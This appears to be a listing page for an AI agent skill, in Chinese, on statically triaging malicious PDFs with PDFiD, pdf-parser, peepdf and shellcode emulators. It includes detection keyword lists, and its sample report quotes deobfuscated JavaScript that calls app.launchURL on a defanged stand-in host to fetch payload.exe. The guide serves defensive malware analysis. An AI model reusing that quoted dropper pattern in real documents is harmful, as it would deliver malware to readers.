analyzing-pdf-malware-with-pdfid

使用 PDFiD、pdf-parser 和 peepdf 分析恶意 PDF 文件,在不打开文档的情况下 识别嵌入的 JavaScript、shellcode、漏洞利用代码和可疑对象。 确定攻击向量并提取嵌入的载荷以进行进一步分析。 适用于 PDF 恶意软件分析、恶意文档分析、PDF 漏洞利用调查或可疑附件分类等请求。

9 stars

Best use case

analyzing-pdf-malware-with-pdfid is best used when you need a repeatable AI agent workflow instead of a one-off prompt.

使用 PDFiD、pdf-parser 和 peepdf 分析恶意 PDF 文件,在不打开文档的情况下 识别嵌入的 JavaScript、shellcode、漏洞利用代码和可疑对象。 确定攻击向量并提取嵌入的载荷以进行进一步分析。 适用于 PDF 恶意软件分析、恶意文档分析、PDF 漏洞利用调查或可疑附件分类等请求。

Teams using analyzing-pdf-malware-with-pdfid should expect a more consistent output, faster repeated execution, less prompt rewriting.

When to use this skill

  • You want a reusable workflow that can be run more than once with consistent structure.

When not to use this skill

  • You only need a quick one-off answer and do not need a reusable workflow.
  • You cannot install or maintain the underlying files, dependencies, or repository context.

Installation

Claude Code / Cursor / Codex

$curl -o ~/.claude/skills/analyzing-pdf-malware-with-pdfid/SKILL.md --create-dirs "https://raw.githubusercontent.com/killvxk/cybersecurity-skills-zh/main/skills/analyzing-pdf-malware-with-pdfid/SKILL.md"

Manual Installation

  1. Download SKILL.md from GitHub
  2. Place it in .claude/skills/analyzing-pdf-malware-with-pdfid/SKILL.md inside your project
  3. Restart your AI agent — it will auto-discover the skill

How analyzing-pdf-malware-with-pdfid Compares

Feature / Agentanalyzing-pdf-malware-with-pdfidStandard Approach
Platform SupportNot specifiedLimited / Varies
Context Awareness High Baseline
Installation ComplexityUnknownN/A

Frequently Asked Questions

What does this skill do?

使用 PDFiD、pdf-parser 和 peepdf 分析恶意 PDF 文件,在不打开文档的情况下 识别嵌入的 JavaScript、shellcode、漏洞利用代码和可疑对象。 确定攻击向量并提取嵌入的载荷以进行进一步分析。 适用于 PDF 恶意软件分析、恶意文档分析、PDF 漏洞利用调查或可疑附件分类等请求。

Where can I find the source code?

You can find the source code on GitHub using the link provided at the top of the page.

SKILL.md Source

# 使用 PDFiD 分析 PDF 恶意软件

## 适用场景

- 可疑 PDF 附件被电子邮件安全系统标记或由用户报告
- 需要确定 PDF 是否包含嵌入的 JavaScript、shellcode 或漏洞利用代码
- 在沙箱或分析环境中打开 PDF 文件前进行分类筛查
- 从恶意 PDF 对象中提取嵌入的可执行文件、脚本或 URL
- 分析针对 Adobe Reader 或其他 PDF 查看器漏洞的 PDF 漏洞利用工具包

**不适用于**分析 PDF 的视觉渲染内容;本流程用于对 PDF 文件格式进行结构化分析以检测恶意对象。

## 前置条件

- Python 3.8+,安装 Didier Stevens 的 PDF 工具(`pip install pdfid pdf-parser`)
- peepdf,用于交互式 PDF 分析(`pip install peepdf`)
- poppler-utils 中的 pdftotext,用于安全提取文本内容
- 带有 PDF 专用规则的 YARA,用于恶意软件家族识别
- 隔离的分析虚拟机(未安装 PDF 阅读器,防止意外打开)
- CyberChef,用于解码嵌入的 Base64、十六进制或 deflate 流

## 工作流程

### 步骤 1:使用 PDFiD 进行初步分类

扫描 PDF 中的可疑关键词和结构:

```bash
# 运行 PDFiD 识别可疑元素
pdfid suspect.pdf

# 预期输出分析:
# /JS           - JavaScript(高风险)
# /JavaScript   - JavaScript 对象(高风险)
# /AA           - 打开时自动触发的动作(高风险)
# /OpenAction   - 文档打开时的动作(高风险)
# /Launch       - 启动外部应用程序(高风险)
# /EmbeddedFile - 嵌入文件(中风险)
# /RichMedia    - Flash 内容(中风险)
# /ObjStm       - 对象流(用于混淆)
# /URI          - URL 引用(情境风险)
# /AcroForm     - 交互式表单(中风险)

# 运行带额外详情的模式
pdfid -e suspect.pdf

# 运行拆解模式(重命名可疑关键词)
pdfid -d suspect.pdf
```

```
PDFiD 风险评估:
━━━━━━━━━━━━━━━━━━━━━
高风险指标(任意计数 > 0):
  /JS, /JavaScript  -> 嵌入 JavaScript 代码
  /AA               -> 自动动作(无需用户交互即触发)
  /OpenAction       -> 文档打开时执行代码
  /Launch           -> 可启动外部可执行文件
  /JBIG2Decode      -> 与 CVE-2009-0658 漏洞利用相关

中风险指标:
  /EmbeddedFile     -> 包含嵌入文件(可能是 EXE/DLL)
  /RichMedia        -> Flash/多媒体(Flash 漏洞利用)
  /AcroForm         -> 带有可能提交动作的表单
  /XFA              -> XML 表单架构(复杂攻击面)

低风险指标:
  /ObjStm           -> 对象流(混淆技术)
  /URI              -> 外部 URL 引用
  /Page             -> 页面数量(仅供参考)
```

### 步骤 2:使用 pdf-parser 解析 PDF 结构

检查 PDFiD 标记的可疑对象:

```bash
# 列出所有引用 JavaScript 的对象
pdf-parser --search "/JavaScript" suspect.pdf
pdf-parser --search "/JS" suspect.pdf

# 列出所有带 OpenAction 的对象
pdf-parser --search "/OpenAction" suspect.pdf

# 按 ID 提取特定对象(示例:对象 5)
pdf-parser --object 5 suspect.pdf

# 提取并解压流内容
pdf-parser --object 5 --filter --raw suspect.pdf

# 搜索嵌入文件
pdf-parser --search "/EmbeddedFile" suspect.pdf

# 列出所有对象及其类型
pdf-parser --stats suspect.pdf
```

### 步骤 3:提取并分析嵌入的 JavaScript

从 PDF 对象中提取 JavaScript 代码:

```bash
# 使用 pdf-parser 提取 JavaScript
pdf-parser --search "/JS" --raw --filter suspect.pdf > extracted_js.txt

# 替代方案:使用 peepdf 交互式提取 JavaScript
peepdf -f -i suspect.pdf << 'EOF'
js_analyse
EOF

# peepdf JS 分析交互命令:
# js_analyse          - 提取并显示所有 JavaScript 代码
# js_beautify         - 格式化提取的 JavaScript
# js_eval <object>    - 在沙箱环境中执行 JavaScript
# object <id>         - 显示对象内容
# rawobject <id>      - 显示原始对象字节
# stream <id>         - 显示解压后的流
# offsets             - 显示文件中的对象偏移量
```

```python
# 用于全面提取 PDF JavaScript 的 Python 脚本
import subprocess
import re

# 提取所有流并搜索 JavaScript
result = subprocess.run(
    ["pdf-parser", "--stats", "suspect.pdf"],
    capture_output=True, text=True
)

# 找到包含 JavaScript 引用的对象 ID
js_objects = []
for line in result.stdout.split('\n'):
    if '/JavaScript' in line or '/JS' in line:
        obj_id = re.search(r'obj (\d+)', line)
        if obj_id:
            js_objects.append(obj_id.group(1))

# 提取每个包含 JavaScript 的对象
for obj_id in js_objects:
    result = subprocess.run(
        ["pdf-parser", "--object", obj_id, "--filter", "--raw", "suspect.pdf"],
        capture_output=True, text=True
    )
    print(f"\n=== 对象 {obj_id} ===")
    print(result.stdout[:2000])
```

### 步骤 4:分析嵌入的 Shellcode

从 PDF 漏洞利用中提取并检查 shellcode:

```bash
# 提取原始流数据用于 shellcode 分析
pdf-parser --object 7 --filter --raw --dump shellcode.bin suspect.pdf

# 使用 scdbg(shellcode 调试器)分析 shellcode
scdbg /f shellcode.bin

# 替代方案:使用 speakeasy 进行 shellcode 模拟
python3 -c "
import speakeasy

se = speakeasy.Speakeasy()
sc_addr = se.load_shellcode('shellcode.bin', arch='x86')
se.run_shellcode(sc_addr, count=1000)

# 查看 shellcode 的 API 调用
for event in se.get_report()['api_calls']:
    print(f\"{event['api']}: {event['args']}\")
"

# 使用 CyberChef 解码十六进制/Base64 编码的 shellcode
# 输入:提取的流数据
# 配方:From Hex -> Disassemble x86
```

### 步骤 5:提取嵌入的文件和 URL

提取嵌入的可执行文件和链接资源:

```python
# 从 PDF 中提取嵌入文件
import subprocess
import hashlib

# 查找嵌入文件对象
result = subprocess.run(
    ["pdf-parser", "--search", "/EmbeddedFile", "--raw", "--filter", "suspect.pdf"],
    capture_output=True
)

# 通过搜索 MZ 头部提取嵌入的 PE 文件
with open("suspect.pdf", "rb") as f:
    data = f.read()

# 搜索嵌入的 PE 文件
offset = 0
while True:
    pos = data.find(b'MZ', offset)
    if pos == -1:
        break
    # 验证 PE 签名
    if pos + 0x3C < len(data):
        pe_offset = int.from_bytes(data[pos+0x3C:pos+0x40], 'little')
        if pos + pe_offset + 2 < len(data) and data[pos+pe_offset:pos+pe_offset+2] == b'PE':
            print(f"在偏移 0x{pos:X} 处发现嵌入的 PE 文件")
            # 提取(估算大小或使用 PE 头部)
            embedded = data[pos:pos+100000]  # 初始提取
            sha256 = hashlib.sha256(embedded).hexdigest()
            with open(f"embedded_{pos:X}.exe", "wb") as out:
                out.write(embedded)
            print(f"  SHA-256:{sha256}")
    offset = pos + 1

# 从 PDF 中提取 URL
result = subprocess.run(
    ["pdf-parser", "--search", "/URI", "--raw", "suspect.pdf"],
    capture_output=True, text=True
)
urls = re.findall(r'(https?://[^\s<>"]+)', result.stdout)
for url in set(urls):
    print(f"URL:{url}")
```

### 步骤 6:生成分析报告

记录 PDF 分析的所有发现:

```
分析应涵盖:
- PDFiD 分类结果(可疑关键词计数)
- PDF 结构异常(对象流、交叉引用问题)
- 提取的 JavaScript 代码(必要时去混淆)
- Shellcode 分析结果(API 调用、网络指标)
- 提取的嵌入文件及其哈希值
- URL 和外部引用
- 检测到已知漏洞利用时的 CVE 标识
- 针对已知 PDF 恶意软件家族的 YARA 规则匹配
```

## 核心概念

| 术语 | 定义 |
|------|------|
| **PDF 对象(PDF Object)** | PDF 文件的基本构建块;对象可包含流(压缩数据)、字典、数组以及对其他对象的引用 |
| **OpenAction** | PDF 字典条目,指定文档打开时要执行的动作;常用于触发 JavaScript 漏洞利用 |
| **PDF 流(PDF Stream)** | PDF 对象中的压缩数据,可包含 JavaScript、图像、嵌入文件或 shellcode;通常使用 FlateDecode 压缩 |
| **FlateDecode** | 应用于 PDF 流的 Zlib/deflate 压缩过滤器;必须解压缩后才能分析内容 |
| **ObjStm(对象流)** | 在单个压缩流中存储多个对象的 PDF 功能;恶意软件用其向简单解析器隐藏可疑对象 |
| **JBIG2** | PDF 中的图像压缩标准;历史上的漏洞来源(CVE-2009-0658、CVE-2021-30860 FORCEDENTRY) |
| **PDF JavaScript API** | PDF 文档中可用的 Adobe 专用 JavaScript 扩展,用于表单操作、网络访问和操作系统交互 |

## 工具与系统

- **PDFiD**:Didier Stevens 开发的工具,用于扫描 PDF 文档中的可疑关键词和结构,无需解析完整文档
- **pdf-parser**:PDFiD 的配套工具,用于详细的 PDF 对象提取、流解压缩和内容分析
- **peepdf**:基于 Python 的 PDF 分析工具,提供交互式 shell 用于对象检查和 JavaScript 提取
- **QPDF**:PDF 转换工具,用于线性化、解密和重构 PDF 以便于分析
- **scdbg**:Shellcode 分析工具,可模拟 x86 shellcode 执行并记录 API 调用

## 常见场景

### 场景:对含嵌入 JavaScript 的钓鱼 PDF 进行分类

**场景背景**:电子邮件网关标记了一个带可疑 JavaScript 指标的 PDF 附件。安全团队需要确定它是否包含漏洞利用代码或社会工程学重定向。

**方法**:
1. 运行 PDFiD 确认 /JS、/JavaScript 和 /OpenAction 的存在及计数
2. 使用 pdf-parser 提取 OpenAction 对象并跟踪其引用链
3. 从引用的流对象中提取 JavaScript 代码(应用 FlateDecode 过滤器)
4. 对 JavaScript 进行去混淆处理(解码十六进制字符串,解析 eval 调用链)
5. 确定脚本是利用 PDF 阅读器漏洞(检查堆喷射、ROP 链)还是执行重定向
6. 提取所有 URL、IP 和嵌入文件作为 IoC
7. 对样本进行分类:漏洞利用(特定 CVE)还是社会工程学(重定向/钓鱼)

**常见陷阱**:
- 在标准 PDF 阅读器中打开 PDF 而非使用命令行工具分析
- 遗漏隐藏在对象流(/ObjStm)中的 JavaScript(PDFiD 能检测但简单解析器会遗漏)
- 分析前未解压流(FlateDecode、ASCIIHexDecode、ASCII85Decode 过滤器)
- 认为没有 /JS 就没有 JavaScript;代码可能嵌入在表单字段中(带 /XFA 的 /AcroForm)

## 输出格式

```
PDF 恶意软件分析报告
==============================
文件:             invoice_2025.pdf
SHA-256:          e3b0c44298fc1c149afbf4c8996fb924...
文件大小:         45,312 字节
PDF 版本:         1.7

PDFID 分类
/JS:              1  [高风险]
/JavaScript:      1  [高风险]
/OpenAction:      1  [高风险]
/EmbeddedFile:    0
/Launch:          0
/URI:             2
/Page:            1
/ObjStm:          1  [混淆]

可疑对象
对象 5:        /OpenAction -> 引用对象 8
对象 8:        /JavaScript 流(FlateDecode,解压后 2,847 字节)
对象 12:       /ObjStm,包含对象 15-18

提取的 JavaScript
第 1 层:          eval(unescape("%68%65%6C%6C%6F"))
第 2 层:          var url = "hxxp://malicious[.]com/payload.exe";
                   app.launchURL(url, true);
                   // 社会工程学重定向,非漏洞利用

提取的 IoC
URL:              hxxp://malicious[.]com/payload.exe
                   hxxps://fake-login[.]com/adobe/verify
域名:             malicious[.]com,fake-login[.]com

分类结果
类型:             社会工程学(URL 重定向)
CVE:              无(未检测到漏洞利用代码)
风险:             高(下载可执行载荷)
家族:             通用 PDF 投放器
```

Related Skills

reverse-engineering-rust-malware

9
from killvxk/cybersecurity-skills-zh

使用 IDA Pro 和 Ghidra 对 Rust 编译的恶意软件进行逆向工程,掌握处理非空终止字符串、提取 crate 依赖项和 Rust 特有控制流分析的专项技术。

reverse-engineering-malware-with-ghidra

9
from killvxk/cybersecurity-skills-zh

使用 NSA 的 Ghidra 反汇编器和反编译器对恶意软件二进制文件进行逆向工程,在汇编和伪 C 代码层面理解其内部逻辑、密码学例程、C2 协议和规避技术。适用于恶意软件逆向工程、反汇编分析、反编译、二进制分析或理解恶意软件内部机制等请求。

reverse-engineering-dotnet-malware-with-dnspy

9
from killvxk/cybersecurity-skills-zh

使用 dnSpy 反编译器和调试器对 .NET 恶意软件进行逆向工程,分析 C#/VB.NET 源代码,识别混淆技术,提取配置信息,理解包括信息窃取器、远程访问木马(RAT)和加载器在内的恶意功能。适用于 .NET 恶意软件分析、C# 恶意软件反编译、托管代码逆向工程或 .NET 混淆分析等请求。

reverse-engineering-android-malware-with-jadx

9
from killvxk/cybersecurity-skills-zh

使用 JADX 反编译器对恶意 Android APK 文件进行逆向工程,分析 Java/Kotlin 源代码,识别包括数据窃取、C2 通信、权限提升和覆盖攻击在内的恶意功能。检查 Manifest 权限、Receiver、Service 及原生库。适用于 Android 恶意软件分析、APK 逆向工程、移动端恶意软件调查或 Android 威胁分析等请求。

performing-static-malware-analysis-with-pe-studio

9
from killvxk/cybersecurity-skills-zh

使用 PEStudio 对 Windows PE(可移植可执行文件)恶意软件样本进行静态分析, 检查文件头、导入表、字符串、资源和指标,无需执行二进制文件。 识别可疑特征,包括加壳、反分析技术和恶意导入。适用于静态恶意软件分析、 PE 文件检查、Windows 可执行文件分析或执行前恶意软件分级等请求场景。

performing-malware-triage-with-yara

9
from killvxk/cybersecurity-skills-zh

使用 YARA 规则对文件模式、字符串、字节序列和结构特征进行匹配,快速分级和分类恶意软件样本, 识别已知恶意软件家族及可疑指标。涵盖规则编写、扫描和与分析流程的集成。适用于 YARA 规则创建、 恶意软件分类、模式匹配、样本分级或基于签名的检测等请求场景。

performing-malware-persistence-investigation

9
from killvxk/cybersecurity-skills-zh

系统性地调查 Windows 和 Linux 系统上的所有持久化机制,以识别恶意软件如何在重启后存活并维持访问。

performing-malware-ioc-extraction

9
from killvxk/cybersecurity-skills-zh

恶意软件 IOC(失陷指标)提取是指通过分析恶意软件,识别可操作的失陷指标,包括文件哈希、网络指标(C2 域名、IP 地址、URL)、注册表修改、互斥体名称、嵌入字符串和行为产物。

performing-malware-hash-enrichment-with-virustotal

9
from killvxk/cybersecurity-skills-zh

使用 VirusTotal API 富化恶意软件文件哈希,获取检测率、行为分析、YARA 匹配和上下文威胁情报,用于事件分类和 IOC 验证。

performing-firmware-malware-analysis

9
from killvxk/cybersecurity-skills-zh

分析固件镜像中嵌入的恶意软件、后门和未授权修改,目标包括路由器、IoT 设备、UEFI/BIOS 和嵌入式系统。涵盖固件提取、文件系统分析、二进制逆向工程和 Bootkit 检测。适用于固件安全 分析、IoT 恶意软件调查、UEFI Rootkit 检测或嵌入式设备入侵评估等请求场景。

performing-automated-malware-analysis-with-cape

9
from killvxk/cybersecurity-skills-zh

部署和操作 CAPEv2 沙箱,进行自动化恶意软件分析,具备行为监控、载荷提取、配置解析和反规避能力。

extracting-iocs-from-malware-samples

9
from killvxk/cybersecurity-skills-zh

从恶意软件样本中提取攻陷指标(IoC),包括文件哈希、网络指标(IP、域名、URL)、 主机痕迹(文件路径、注册表键、互斥锁)以及行为模式,用于威胁情报共享和检测规则创建。 适用于 IoC 提取、威胁指标采集、恶意软件指标收集或从样本构建检测内容等请求场景。